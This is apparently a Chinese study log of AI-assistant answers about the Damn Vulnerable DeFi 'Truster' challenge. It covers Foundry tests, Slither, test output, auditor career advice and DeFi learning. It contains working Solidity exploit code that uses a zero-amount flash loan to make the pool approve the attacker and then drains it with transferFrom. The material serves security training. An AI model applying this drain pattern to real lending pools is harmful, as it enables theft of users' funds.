Damn Vulnerable DeFi(六)

要学一下Mermaid 用来画图,作为安全审计的工具。
用slither扫描了truster
找到了unchecked-transfer(高危漏洞)
Unused return 未使用的返回值(中危漏洞)

如何用foundry测试TrusterLenderPool.sol

你想要用 Foundry 来测试 damn-vulnerable-defi 中的 TrusterLenderPool 合约,核心是要验证该合约的正常闪电贷逻辑已知漏洞(忽略返回值导致的权限被盗)。我会给你一个完整的 Foundry 测试示例,包含正常场景和攻击场景的测试,让你能直观验证合约的漏洞和修复效果。

前置准备

  1. 确保你的项目结构符合 Foundry 规范:
    1
    2
    3
    4
    5
    6
    7
    damn-vulnerable-defi/
    ├── src/
    │ └── truster/
    │ └── TrusterLenderPool.sol # 目标合约
    └── test/
    └── truster/
    └── TrusterLenderPool.t.sol # 测试文件(新建)
  2. 安装必要依赖(如果未安装):
    1
    forge install openzeppelin/openzeppelin-contracts

完整测试代码(TrusterLenderPool.t.sol)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../../src/truster/TrusterLenderPool.sol";

// 模拟一个 ERC20 代币(复用 DVT 逻辑)
contract DamnValuableToken is ERC20 {
constructor(uint256 initialSupply) ERC20("Damn Valuable Token", "DVT") {
_mint(msg.sender, initialSupply);
}
}

// 测试合约
contract TrusterLenderPoolTest is Test {
// 测试常量
uint256 public constant TOKEN_INITIAL_SUPPLY = 1_000_000 ether;
uint256 public constant FLASH_LOAN_AMOUNT = 100 ether;

// 合约实例
TrusterLenderPool public pool;
DamnValuableToken public dvt;
// 测试账户
address public attacker = address(0x1234);
address public deployer = address(0x666);

function setUp() public {
// 部署代币和借贷池
vm.startPrank(deployer);
dvt = new DamnValuableToken(TOKEN_INITIAL_SUPPLY);
pool = new TrusterLenderPool(dvt);
// 将所有代币转入借贷池
dvt.transfer(address(pool), TOKEN_INITIAL_SUPPLY);
vm.stopPrank();

// 初始化攻击者账户
vm.deal(attacker, 1 ether); // 给攻击者一些 ETH 用于交易
}

// 测试1:正常闪电贷(验证基本功能)
function testNormalFlashLoan() public {
// 检查初始状态:池子里有全部代币
assertEq(dvt.balanceOf(address(pool)), TOKEN_INITIAL_SUPPLY);

// 调用闪电贷(仅转账,不执行外部调用)
vm.prank(attacker);
pool.flashLoan(FLASH_LOAN_AMOUNT, attacker, address(0), "");

// 验证:闪电贷必须归还,池子里代币数量不变
assertEq(dvt.balanceOf(address(pool)), TOKEN_INITIAL_SUPPLY);
// 验证:攻击者收到代币后又归还(余额为0)
assertEq(dvt.balanceOf(attacker), 0);
}

// 测试2:利用漏洞盗取所有代币(核心漏洞测试)
function testExploitTruster() public {
// 攻击前状态:攻击者代币余额为0
assertEq(dvt.balanceOf(attacker), 0);
uint256 poolInitialBalance = dvt.balanceOf(address(pool));

// ========== 攻击逻辑 ==========
vm.startPrank(attacker);
// 构造 calldata:调用 DVT 的 approve 函数,授权攻击者转走所有代币
bytes memory approveCalldata = abi.encodeWithSelector(
dvt.approve.selector,
attacker,
type(uint256).max // 授权无限额度
);

// 调用闪电贷:借 0 个代币(无需归还),但执行 approve 授权
pool.flashLoan(
0, // borrowAmount = 0
attacker, // borrower
address(dvt), // target = 代币合约
approveCalldata // data = 授权操作
);

// 授权成功后,直接转走池子里所有代币
dvt.transferFrom(address(pool), attacker, poolInitialBalance);
vm.stopPrank();
// ========== 攻击结束 ==========

// 验证结果:攻击者盗取了所有代币,池子为空
assertEq(dvt.balanceOf(attacker), poolInitialBalance);
assertEq(dvt.balanceOf(address(pool)), 0);
}
}

代码关键部分解释

  1. setUp 函数

    • Foundry 的 setUp() 是测试前置函数,会在每个测试用例执行前运行;
    • 部署测试用的 ERC20 代币(DVT)和 TrusterLenderPool 合约;
    • 将所有代币转入借贷池,模拟真实场景;
    • 给攻击者账户分配 ETH,用于支付交易手续费。
  2. 正常闪电贷测试(testNormalFlashLoan)

    • 验证闪电贷的基本逻辑:借出代币后必须归还,否则会触发 require(balanceAfter >= balanceBefore)
    • 这里调用闪电贷时 target=address(0),仅执行代币转账,验证池子余额不变。
  3. 漏洞攻击测试(testExploitTruster)

    • 核心漏洞点:合约允许 borrowAmount=0(无需归还),且 flashLoantarget.functionCall(data) 不检查返回值,也不限制调用的合约和方法;
    • 攻击者构造 approve 函数的 calldata,让借贷池合约调用 DVT 的 approve 方法,授权攻击者转走所有代币;
    • 授权成功后,攻击者调用 transferFrom 直接转走池子里的所有代币。

如何运行测试

  1. 进入项目根目录:

    1
    cd /home/kali/Desktop/test10/damn-vulnerable-defi
  2. 运行单个测试文件:

    1
    forge test --match-path test/truster/TrusterLenderPool.t.sol -vvv
    • --match-path:指定测试文件路径;
    • -vvv:显示详细的测试日志(包括每一步的状态变化)。
  3. 运行特定测试用例(比如只运行攻击测试):

    1
    forge test --match-test testExploitTruster -vvv

测试结果解读

  • 如果测试通过(显示 PASS):说明合约确实存在漏洞,攻击者可以成功盗取代币;
  • 如果修复了合约(比如限制 borrowAmount > 0 或检查 functionCall 返回值),再运行测试会失败(显示 FAIL),说明漏洞已修复。

修复后的合约测试验证

如果你按照之前的建议修复了 TrusterLenderPool 合约(比如限制 borrowAmount > 0、检查 functionCall 返回值),再运行 testExploitTruster 测试用例,会触发以下报错:

  • require(borrowAmount > 0):直接阻止借 0 个代币的请求;
  • require(success):如果授权操作被拦截,会回滚交易。

总结

  1. Foundry 测试 TrusterLenderPool 的核心是:
    • 先通过 setUp() 初始化合约和账户状态;
    • 编写正常场景测试验证基本功能;
    • 编写漏洞场景测试验证攻击逻辑,确认漏洞存在;
  2. 运行测试时,通过 forge test 命令指定测试文件/用例,结合 -vvv 查看详细日志;
  3. 修复合约后重新运行测试,若攻击用例失败,说明漏洞已被修复。

这个测试示例覆盖了 Truster 合约的核心漏洞场景,你可以在此基础上扩展(比如测试修复后的合约、增加边界条件测试等)。

forge test和slither测试有什么区别?

你想了解 forge testslither 这两个工具在智能合约测试/审计中的核心区别,本质上是要分清动态测试静态分析的不同定位——前者验证合约“运行时是否符合预期”,后者检查合约“代码本身是否有安全缺陷”。下面我会从核心定位、工作原理、使用场景等维度,清晰对比两者的区别,并告诉你如何搭配使用。

一、核心定位与本质区别

特性 forge test (Foundry 测试) Slither (静态分析工具)
测试类型 动态测试(Dynamic Testing)/ 功能测试 静态分析(Static Analysis)/ 漏洞扫描
核心目标 验证合约“运行时行为”是否符合预期(功能对不对) 检查合约“源代码”是否存在已知漏洞(代码有没有坑)
是否执行代码 是(在模拟区块链环境中执行测试用例) 否(仅解析、分析源代码,不执行)
依赖条件 需要编写测试用例(test 函数),指定输入和预期输出 无需编写测试用例,直接扫描合约源代码
发现问题类型 功能逻辑错误、边界条件不满足、预期结果不符 已知安全漏洞(如忽略返回值、重入、溢出、权限问题)
结果解读 “测试通过/失败”,说明功能是否达标 “漏洞告警”,说明代码存在的安全风险点

二、工作原理详解

1. forge test(动态测试)

  • 原理:你编写测试用例(比如之前的 testExploitTruster),Foundry 会在模拟的以太坊虚拟机(VM) 中执行这些用例:
    1. 部署合约、初始化账户和状态(setUp 函数);
    2. 调用合约的目标函数(如 flashLoan);
    3. 检查执行结果是否符合预期(assertEqrequire 等断言)。
  • 特点
    • 针对性强:只验证你编写了测试用例的场景;
    • 能发现“逻辑漏洞”:比如闪电贷本该归还代币却没归还、授权额度计算错误等;
    • 依赖测试覆盖度:如果没写攻击场景的测试用例,就发现不了漏洞。

2. Slither(静态分析)

  • 原理:不执行代码,仅通过语法解析、数据流分析、控制流分析扫描源代码:
    1. 解析 Solidity 代码,生成抽象语法树(AST);
    2. 遍历代码逻辑,匹配内置的“漏洞规则库”(比如“调用 transfer 不检查返回值”“外部调用未限制权限”等);
    3. 输出匹配到的漏洞告警和风险提示。
  • 特点
    • 自动化程度高:无需手动编写用例,一键扫描所有已知漏洞;
    • 能发现“代码缺陷”:比如你之前看到的“忽略 transfer/functionCall 返回值”,是 Slither 直接从代码语法中识别的;
    • 无法发现“逻辑漏洞”:比如合约功能设计错误(如闪电贷允许借 0 代币),Slither 不会告警,因为语法上无问题,只是逻辑设计有坑。

三、使用场景对比

适合用 forge test 的场景:

  1. 验证合约核心功能是否正常(比如闪电贷能否正常借出/归还代币);
  2. 测试边界条件(比如借超出池子余额的代币是否会报错);
  3. 复现漏洞场景(比如编写攻击用例,验证漏洞是否可被利用);
  4. 迭代开发时的回归测试(修改代码后,快速验证原有功能是否被破坏)。

适合用 Slither 的场景:

  1. 快速扫描合约,发现常见的、低级的安全漏洞(比如忘记检查返回值、整数溢出、未初始化变量);
  2. 审计初期的“初筛”:在编写测试用例前,先排除明显的代码缺陷;
  3. 合规检查:确保合约代码符合行业安全规范(比如遵循 OpenZeppelin 最佳实践)。

四、实战搭配示例(以 TrusterLenderPool 为例)

  1. 第一步:Slither 初筛
    运行 slither src/truster/ --detect all,快速发现“忽略返回值”的漏洞(代码缺陷),先修复这类低级问题。
  2. 第二步:forge test 验证
    编写测试用例:
    • 正常场景:验证修复后闪电贷功能是否正常;
    • 攻击场景:验证修复后攻击者无法再盗取代币;
  3. 第三步:结合使用
    Slither 发现“代码层面的漏洞”,forge test 验证“修复后的逻辑是否真的安全”,两者互补。

总结

  1. 核心区别forge test 验证“合约运行得对不对”(动态行为),slither 检查“合约代码有没有坑”(静态缺陷);
  2. 互补性:Slither 能快速发现已知的代码漏洞,但无法验证逻辑是否合理;forge test 能验证逻辑是否符合预期,但需要手动编写测试用例;
  3. 最佳实践:智能合约审计/测试时,先跑 Slither 做静态漏洞初筛,再写 forge 测试用例验证功能和漏洞修复效果,两者结合才能全面保障合约安全。

简单来说,Slither 是“代码体检仪”,告诉你代码有没有已知的健康问题;forge test 是“功能验收测试”,告诉你合约实际用起来是否符合要求。

forge test的解析

你现在看到的这个 forge test 运行结果核心是:2个测试用例中1个通过、1个失败,失败的原因是“攻击者(player)执行的交易数量不符合预期(0 != 1)”。我会逐行拆解这个结果,告诉你每部分的含义、失败原因,以及该怎么理解和排查。

一、结果逐段解读

1. 开头的警告(无关紧要)

1
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version...
  • 含义:你用的是 Foundry 的 nightly(夜间构建)版本,不是稳定版,仅提醒,不影响测试结果;
  • 处理:可以忽略,或按提示设置环境变量 export FOUNDRY_DISABLE_NIGHTLY_WARNING=1 关闭。

2. 编译结果(正常)

1
2
3
4
[] Compiling...
[] Compiling 18 files with Solc 0.8.25
[] Solc 0.8.25 finished in 1.51s
Compiler run successful!
  • 含义:Foundry 成功编译了 18 个合约文件(包括测试合约、目标合约、OpenZeppelin 依赖等),编译器版本是 0.8.25,耗时 1.51 秒;
  • 关键:Compiler run successful! 说明代码语法无错误,编译没问题。

3. 测试执行结果(核心)

1
2
3
Ran 2 tests for test/truster/Truster.t.sol:TrusterChallenge
[PASS] test_assertInitialState() (gas: 21982)
[FAIL: Player executed more than one tx: 0 != 1] test_truster() (gas: 6768)
  • 含义:
    • 总共运行了 2 个测试用例(属于 TrusterChallenge 测试合约);
    • test_assertInitialState():通过(PASS),消耗了 21982 gas,说明“初始状态验证”符合预期;
    • test_truster():失败(FAIL),失败原因是 Player executed more than one tx: 0 != 1(攻击者执行的交易数量是 0,但测试预期是 1),消耗了 6768 gas。

4. 失败的详细调用轨迹(Traces)

1
2
3
4
5
6
7
8
9
10
[6768] TrusterChallenge::test_truster()
├─ [0] VM::startPrank(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C])
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::getNonce(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::assertEq(0, 1, "Player executed more than one tx") [staticcall]
│ └─ ← [Revert] Player executed more than one tx: 0 != 1
└─ ← [Revert] Player executed more than one tx: 0 != 1
  • 逐行拆解:
    1. 执行 test_truster() 测试函数,总耗 gas 6768;
    2. 调用 VM::startPrank(player):模拟以 player(攻击者)身份执行交易;
    3. 调用 VM::stopPrank():结束模拟身份;
    4. 调用 VM::getNonce(player):获取 player 地址的交易次数(nonce,以太坊中每笔交易对应一个 nonce,初始为 0,每发一笔交易 +1),返回结果是 0;
    5. 调用 VM::assertEq(0, 1, ...):测试用例要求验证“player 的交易次数是 1”,但实际是 0,触发断言失败,交易回滚;
    6. 最终因断言失败,整个测试用例回滚。

5. 汇总结果

1
2
3
4
Suite result: FAILED. 1 passed; 1 failed; 0 skipped; finished in 12.62ms
Ran 1 test suite in 26.41ms: 1 tests passed, 1 failed, 0 skipped (2 total tests)
Failing tests:
[FAIL: Player executed more than one tx: 0 != 1] test_truster() (gas: 6768)
  • 核心:测试套件整体失败,仅 test_assertInitialState() 通过,test_truster() 失败,无跳过的用例。

二、失败原因分析

这个失败是 测试用例的断言逻辑 导致的,而非合约代码本身的漏洞,核心原因:

  1. test_truster() 测试用例中,编写者预期“攻击者(player)需要执行至少 1 笔交易”(所以断言 nonce == 1);
  2. 但实际执行中,攻击者地址的 nonce 是 0(说明没有发送任何交易);
  3. 断言 assertEq(0, 1) 不成立,测试直接失败。

为什么攻击者没发交易?

结合 damn-vulnerable-defi 的 Truster 挑战规则,这个测试用例的逻辑应该是:

  • 预期你编写攻击代码,让 player 发送 1 笔交易(调用 flashLoan 并完成攻击);
  • 但你的测试代码中,test_truster() 函数里没有实际执行攻击者的交易逻辑(比如没调用 pool.flashLoan()),只是启动/停止了 prank,所以 nonce 还是 0。

三、如何修复这个测试失败?

以 damn-vulnerable-defi 的 Truster 挑战为例,你需要在 test_truster() 中补充攻击者的交易逻辑,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function test_truster() public {
// ========== 补充攻击者的交易逻辑 ==========
vm.startPrank(player); // 模拟攻击者身份
// 1. 构造攻击的 calldata(授权攻击者转走代币)
bytes memory approveCalldata = abi.encodeWithSelector(
dvt.approve.selector,
player,
type(uint256).max
);
// 2. 调用 flashLoan(这是攻击者的第1笔交易,nonce 会变成 1)
pool.flashLoan(0, player, address(dvt), approveCalldata);
// 3. 转走所有代币(可选,不影响 nonce 计数)
dvt.transferFrom(address(pool), player, dvt.balanceOf(address(pool)));
vm.stopPrank();

// ========== 原有的断言逻辑 ==========
uint256 playerNonce = vm.getNonce(player);
assertEq(playerNonce, 1, "Player executed more than one tx");

// 额外验证:攻击者盗取了所有代币(可选)
assertEq(dvt.balanceOf(player), TOKEN_INITIAL_SUPPLY);
assertEq(dvt.balanceOf(address(pool)), 0);
}
  • 核心修改:在 startPrankstopPrank 之间,补充攻击者调用合约的交易逻辑(调用 flashLoan),这样 playernonce 会变成 1,断言就会通过。

总结

  1. 本次测试失败不是合约漏洞,而是 test_truster()缺少攻击者的交易执行逻辑,导致断言 nonce == 1 不成立;
  2. 关键信息:
    • [PASS] test_assertInitialState():初始状态验证正常,合约部署、代币转账等前置逻辑没问题;
    • [FAIL] test_truster():断言失败,因为攻击者未发送任何交易(nonce=0≠1);
  3. 修复方向:在 test_truster() 中补充攻击者调用 flashLoan 的交易代码,让 playernonce 变为 1,满足断言要求。

简单来说,这个失败是“测试代码没写全”导致的,不是合约本身的问题,补充攻击交易逻辑后就能通过测试。

想要做安全审计或者区块链安全研究员的难点是什么?

要成为区块链安全审计师或安全研究员,难点不在于单一技术的掌握,而在于跨领域知识的深度融合、实战经验的积累,以及对抗性思维的养成。结合你的渗透测试背景和区块链学习路径,核心难点可以分为以下几个维度:

一、技术栈的广度与深度双重挑战

区块链安全不是单一技术领域,而是密码学、智能合约开发、底层协议、传统网络安全的交叉学科,每个分支都需要深入钻研:

  1. 智能合约层面的深度门槛
    • 不仅要懂 Solidity 语法,更要理解 EVM 底层执行机制(比如 opcode 执行逻辑、存储布局 slotdelegatecall/call/staticcall 的权限差异)。很多漏洞(如重入、存储碰撞、函数选择器碰撞)都源于对 EVM 底层的理解不足。
    • 要熟悉不同公链的合约特性:比如以太坊的 CREATE2 部署机制、BSC 的低 gas 限制导致的优化漏洞、Solana 的 Rust 合约内存安全问题(与 EVM 完全不同),跨链场景下的桥接协议漏洞(比如资产跨链的签名验证逻辑)。
  2. 传统安全与区块链安全的思维转换
    你的渗透测试经验是优势,但需要适配区块链的特殊性:
    • 传统渗透测试的“漏洞利用”是破坏系统可用性/保密性,而区块链安全的“漏洞利用”是直接盗取资产,攻击路径更短、后果更严重;
    • 传统漏洞可以通过补丁修复,而智能合约一旦部署无法修改,审计时需要做到“零容错”,任何小疏忽都可能导致数百万美元损失;
    • 传统安全的“权限控制”是基于账户/角色,而区块链的权限是基于合约代码逻辑(比如 onlyOwner 修饰符的滥用、未授权的函数调用)。
  3. 密码学与共识协议的底层理解
    研究员级别的岗位需要理解共识层漏洞(比如 PoW 的 51% 攻击、PoS 的长程攻击)、密码学原语的正确使用(比如 ECDSA 签名重放攻击、哈希函数碰撞风险)。
    例如:很多合约因错误使用 ecrecover 导致签名被伪造,本质是对椭圆曲线签名算法的细节理解不到位。

二、实战经验的稀缺性与高门槛

区块链安全是实践驱动的领域,书本知识无法替代实战经验,而实战机会的获取是核心难点:

  1. 真实漏洞场景的复杂性远超靶场
    • Damn Vulnerable DeFi 等靶场的漏洞是“孤立、简化”的,而真实项目的漏洞往往是多个缺陷的组合(比如“忽略返回值 + 权限失控 + 外部调用未校验”叠加导致的攻击)。
    • 真实项目会引入大量第三方库(如 OpenZeppelin 版本兼容问题)、复杂业务逻辑(如 AMM 定价算法、借贷协议的清算机制),审计时需要穿透业务逻辑找漏洞,而不是只看代码语法。
  2. 漏洞挖掘的“对抗性思维”难以培养
    审计师需要站在攻击者视角思考问题,而不是“按部就班查漏洞清单”:
    • 比如 Truster 合约的漏洞,Slither 只能发现“忽略返回值”,但真正的攻击点是“允许借 0 代币 + 任意外部调用”的组合逻辑,这需要你跳出工具的局限,主动构造攻击路径。
    • 高级漏洞(如闪电贷攻击、重入攻击的变种)需要理解业务流程,比如“如何利用闪电贷操纵代币价格,再触发清算机制获利”,这需要对 DeFi 业务的深度理解。
  3. 复现真实漏洞的成本高
    要积累经验,需要复现历史上的重大漏洞(如 The DAO 攻击、Poly Network 攻击、Axie Infinity 盗币事件),但这需要:
    • 还原当时的合约代码和网络状态;
    • 理解攻击的完整链路(从漏洞发现到利用的每一步);
    • 分析漏洞的根本原因(是代码缺陷还是设计缺陷)。

三、工具链的驾驭与定制能力

成熟的审计师/研究员不能只依赖现成工具,而要具备工具定制和数据分析能力

  1. 静态分析工具的局限性与优化
    Slither、Mythril 等工具只能发现已知漏洞,对于复杂的逻辑漏洞(如业务逻辑缺陷)无能为力。你需要:
    • 理解工具的检测原理(比如 Slither 如何通过数据流分析发现重入漏洞);
    • 定制检测规则(比如针对特定项目的业务逻辑,编写 Slither 插件);
    • 不迷信工具结果:工具告警的“高危漏洞”可能是误报,而真正的致命漏洞可能被工具忽略。
  2. 动态分析与形式化验证的门槛
    • 动态分析(如 Echidna、Manticore)需要编写属性测试用例,验证合约是否满足“不变性”(比如“借贷协议的总储备金 = 所有用户存款之和”),这需要掌握形式化验证的思维;
    • 形式化验证(如 Certora)是目前最高效的漏洞检测手段,但学习曲线极陡,需要掌握逻辑语言(如 Solidity 断言、TLAPS 语言)。
  3. 链上数据的分析能力
    研究员需要从链上数据中挖掘潜在攻击(比如异常交易、大额转账、合约调用模式),这需要掌握:
    • 链上数据查询工具(如 Etherscan API、Graph 协议);
    • 数据分析技能(Python + Pandas 处理交易数据,识别异常模式)。

四、行业门槛与持续学习的压力

  1. 行业的“信任背书”门槛
    区块链安全是结果导向的行业,初级审计师很难仅凭简历获得信任:
    • 大厂或审计机构更看重实战成果:比如在 Code4rena、Sherlock 等漏洞赏金平台的排名、提交的漏洞报告、参与过的审计项目;
    • 初级岗位竞争激烈,很多团队要求候选人“自带案例”(比如独立发现某个合约的漏洞,并提交详细报告)。
  2. 技术迭代速度快,需要持续学习
    区块链技术的更新速度远超传统安全领域:
    • 新的公链(如 Aptos、Sui)采用全新的虚拟机(Move 语言),漏洞类型与 EVM 完全不同;
    • 新的协议(如 zk-Rollup、账户抽象 ERC-4337)带来新的攻击面(比如 zk 证明的伪造风险、智能账户的权限管理漏洞);
    • 新的攻击手段(如 MEV 提取导致的前端攻击、跨链消息伪造)不断涌现,需要你保持对行业动态的敏感度。
  3. 合规与伦理的边界把握
    区块链安全涉及大量资产,需要明确合法合规的边界
    • 漏洞挖掘必须遵循“负责任披露”原则,不能利用漏洞盗取资产;
    • 参与漏洞赏金计划时,要严格遵守平台规则,避免触碰法律红线;
    • 审计报告的撰写需要客观严谨,既不能遗漏高危漏洞,也不能夸大风险导致项目恐慌。

五、从初级审计到研究员的进阶难点

  • 初级审计师:能使用工具发现常见漏洞,撰写基础审计报告;
  • 资深审计师:能穿透复杂业务逻辑,发现组合漏洞,提出修复方案;
  • 安全研究员:能预测新的漏洞类型,提出防御机制,甚至推动行业安全标准的制定。

从初级到研究员的跨越,难点在于从“被动查漏洞”到“主动创造漏洞检测方法”,需要你具备科研能力(比如发表安全论文、提出新的攻击模型)。

总结

对你而言,最大的优势是渗透测试的对抗性思维和漏洞挖掘经验,这是很多纯开发背景的审计师不具备的。你需要突破的难点是:

  1. 补足 EVM 底层、DeFi 业务逻辑的知识;
  2. 通过靶场复现、漏洞赏金平台积累实战经验;
  3. 从“工具使用者”升级为“工具定制者”,提升漏洞挖掘的效率和深度。

这个过程没有捷径,但你的技术背景已经为你铺平了一半的道路。

我可以帮你整理一份区块链安全研究员进阶路线图,涵盖从初级到资深的学习资源、实战平台和能力提升节点,需要吗?

如何深入理解DeFi 业务

要深入理解 DeFi 业务逻辑,核心是从「协议本质」出发,拆解其核心机制、经济模型和风险点,而不是停留在“知道概念”的层面。结合区块链安全审计的视角(你需要理解业务才能发现逻辑漏洞),可以按照「基础认知 → 核心协议拆解 → 实战验证 → 风险建模」的路径逐步深入,以下是具体方法:

一、先建立 DeFi 的底层认知框架

DeFi 的本质是去中心化的金融基础设施,所有协议都是围绕「资产流转、价值定价、风险对冲」三大核心需求设计的。在学习任何 DeFi 协议前,先明确两个底层逻辑:

  1. DeFi 的核心特征
    • 无许可性:任何人都能参与,无需开户/审核(这也是漏洞的温床,比如未授权调用);
    • 可编程性:合约代码定义所有规则,没有人工干预(漏洞一旦存在,无法事后补救);
    • 组合性(Composability):协议之间可以自由组合(比如 Aave 借贷的资产可以存入 Curve 做流动性挖矿),这会导致风险传导(一个协议漏洞可能波及多个关联协议)。
  2. DeFi 的核心资产与载体
    • ERC20 代币:绝大多数 DeFi 资产的载体,理解 transfer/approve/transferFrom 的授权逻辑是基础;
    • 智能合约账户:用户通过钱包地址与协议交互,权限完全由代码控制;
    • 链上数据透明性:所有交易、持仓、资金流向都可在区块链浏览器(如 Etherscan)查询(这是审计和漏洞分析的关键)。

二、拆解 DeFi 核心协议的业务逻辑(从简单到复杂)

DeFi 协议种类繁多,但核心只有几大类:借贷协议、DEX(去中心化交易所)、稳定币、流动性挖矿/收益聚合器。学习的关键是不记名词,而是拆解「钱怎么进、怎么赚、怎么出」

1. 第一步:从「借贷协议」入手(最容易理解业务逻辑)

Aave/Compound 为例,这是 DeFi 的基础协议,核心是「存币生息、借币抵押」。

  • 核心业务流程拆解
    1. 存款端:用户存入 ERC20 代币 → 协议铸造对应数量的「计息凭证」(如 Aave 的 aToken)→ aToken 随时间累积利息(本质是协议将存款出借给借款人,收取利息后分给存款人)。
    2. 借款端:用户抵押资产(抵押率通常 150%+)→ 借出其他资产 → 支付利息 → 归还借款+利息后赎回抵押品。
    3. 清算机制:如果借款人的抵押品价值下跌(低于清算阈值),任何人都可以触发清算 → 以折扣价买入抵押品 → 偿还借款人的债务(这是借贷协议的核心风险点,很多漏洞出现在清算逻辑)。
  • 安全审计视角的关键问题
    • 抵押率计算是否准确?(比如是否实时更新价格,价格喂价是否被操纵)
    • 清算逻辑是否有漏洞?(比如清算折扣是否可被利用,清算权限是否未授权)
    • 计息凭证的铸造/销毁是否与资产余额严格对应?(比如是否存在超额铸造 aToken 的情况)

2. 第二步:深入 DEX 的核心机制(重点是「定价逻辑」)

DEX 分为两类:订单簿型(如 0x)AMM(自动做市商,如 Uniswap/Curve),AMM 是主流,核心是「用数学公式定价,替代传统交易所的买卖盘」。

  • Uniswap V2 核心业务拆解
    • 核心公式:x * y = k(x 和 y 是交易对的两种代币数量,k 是常数)→ 代币价格由 y/x 决定,交易时 x 增加则 y 减少,价格自动变化。
    • 流动性挖矿:用户存入两种代币做市 → 获得 LP 代币 → 赚取交易手续费 → 赎回 LP 代币时取回本金+手续费。
  • 安全审计视角的关键问题
    • 价格操纵风险:比如通过闪电贷注入大量代币,瞬间改变 x/y 的比例,操纵价格后套利(即「闪电贷攻击」的典型场景);
    • LP 代币的铸造逻辑:是否严格按照存入资产的比例计算,是否存在漏洞导致超额铸造;
    • 手续费分配是否公平:是否存在某类账户可以盗取手续费的情况。

3. 第三步:理解复杂协议的组合逻辑(如收益聚合器、跨链桥)

高阶 DeFi 协议(如 Yearn、MakerDAO、跨链桥)的核心是「协议的协议」,业务逻辑更复杂,但本质是对基础协议的组合和优化。

  • Yearn 为例:用户存入代币 → Yearn 自动将资产分配到收益最高的借贷/挖矿协议(如 Aave、Curve)→ 赚取的收益再复投 → 最大化用户收益。
    • 审计关键:资产转移的权限控制(Yearn 合约是否有权限将用户资产转入其他协议?是否存在权限滥用)、收益计算逻辑(是否存在少算/多算收益的漏洞)。
  • MakerDAO 为例:用户抵押 ETH → 铸造稳定币 DAI → DAI 与美元挂钩的核心是「抵押品价值 ≥ DAI 发行量 + 清算惩罚」。
    • 审计关键:抵押品定价机制(是否依赖中心化喂价?喂价是否可被操纵)、清算触发条件(是否存在恶意触发清算的漏洞)。

三、实战验证:从「链上数据 + 合约代码」反向推导业务逻辑

理论学习后,必须通过实战拆解真实协议来深化理解,这是审计师的核心技能。具体步骤:

  1. 选一个简单协议,查链上数据
    • 打开 Etherscan,搜索一个主流 DeFi 协议(如 Uniswap V2 工厂合约 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
    • 查看「Contract → Read Contract」:调用 getPair 函数,输入两个代币地址(如 ETH/USDC),获取交易对合约地址;
    • 查看交易对合约的「Holders」:看 LP 代币的持有者,理解流动性分布;
    • 查看「Transactions」:找一笔 Swap 交易,分析交易的输入输出数据(input 字段),理解 swap 函数的参数和执行逻辑。
  2. 阅读合约代码,映射业务逻辑
    • 找到协议的开源代码(如 Uniswap V2 在 GitHub 的仓库);
    • 把代码中的函数和链上业务对应起来:比如 swap 函数对应「用户兑换代币」的操作,mint 函数对应「用户添加流动性」的操作;
    • 重点关注核心状态变量:比如 Uniswap V2 的 reserve0/reserve1(两种代币的储备量),这直接决定了定价公式 x*y=k 的执行。
  3. 用 Damn Vulnerable DeFi 复现业务漏洞
    • DVF 中的很多题目都是基于真实 DeFi 协议的简化版(比如 Truster 对应闪电贷协议,Puppet 对应 Uniswap 价格操纵);
    • 完成题目时,强制自己思考:这个漏洞是如何利用业务逻辑的?如果是真实协议,如何修复?

四、建立「业务风险建模」思维(审计师的核心能力)

深入理解 DeFi 业务的最终目标,是从业务逻辑中识别潜在的攻击面,而不是单纯的技术漏洞。你需要学会:

  1. 识别「业务逻辑漏洞」的特征
    • 技术漏洞:比如忽略返回值、重入攻击(Slither 等工具可发现);
    • 业务逻辑漏洞:比如「闪电贷 + 价格操纵 + 清算」的组合攻击(工具无法发现,必须理解业务才能识别)。
      举个例子:某借贷协议允许用户用 LP 代币抵押借款,攻击者可以:
      ① 用闪电贷借入大量代币,添加流动性获得 LP 代币;
      ② 用 LP 代币抵押借出协议的平台币;
      ③ 卖出平台币,砸盘导致 LP 代币价值暴跌;
      ④ 触发清算,以极低价格赎回 LP 代币,归还闪电贷,赚取差价。
      这个攻击的核心是利用「LP 代币抵押率过高 + 价格喂价延迟」的业务缺陷,而非单一技术漏洞。
  2. 总结不同协议的「高危攻击面」
    协议类型 核心业务 高危攻击面
    借贷协议 抵押借款 + 清算 价格操纵、清算逻辑漏洞、超额借款
    AMM DEX 代币兑换 + LP 挖矿 闪电贷价格操纵、LP 代币铸造漏洞
    稳定币 抵押铸造 + 锚定 喂价操纵、抵押品不足、清算失败
    跨链桥 资产跨链转移 签名伪造、跨链消息篡改、权限失控

五、持续跟进行业动态,理解业务创新

DeFi 业务的迭代速度极快,新协议(如 LSD、ZK-Rollup 上的 DeFi)会不断带来新的业务逻辑和攻击面。你需要:

  • 关注行业媒体:DeFi Llama(看协议锁仓量排名)、Bankless(看深度分析)、慢雾科技(看漏洞分析报告);
  • 参与漏洞赏金平台:Code4renaSherlock,看真实审计项目的漏洞报告,学习别人如何从业务逻辑中发现漏洞;
  • 跟踪新协议的机制:比如 LSD(流动性质押衍生品)的核心是「质押 ETH 获得 LSD 代币,同时继续挖矿」,其攻击面在于「质押资产的托管机制」和「LSD 代币的定价逻辑」。

总结

深入理解 DeFi 业务的关键,是「从业务本质出发,用代码和链上数据验证,以风险建模收尾」。对你而言,结合渗透测试的对抗性思维,重点要关注「业务流程中的权限控制、资产流转的逻辑闭环、经济模型的数学稳定性」——这些才是 DeFi 审计的核心,也是工具无法替代的能力。

我可以帮你整理一份 DeFi 核心协议拆解清单,包含 Uniswap V2、Aave、MakerDAO 的关键合约地址、核心函数和审计重点,需要吗?
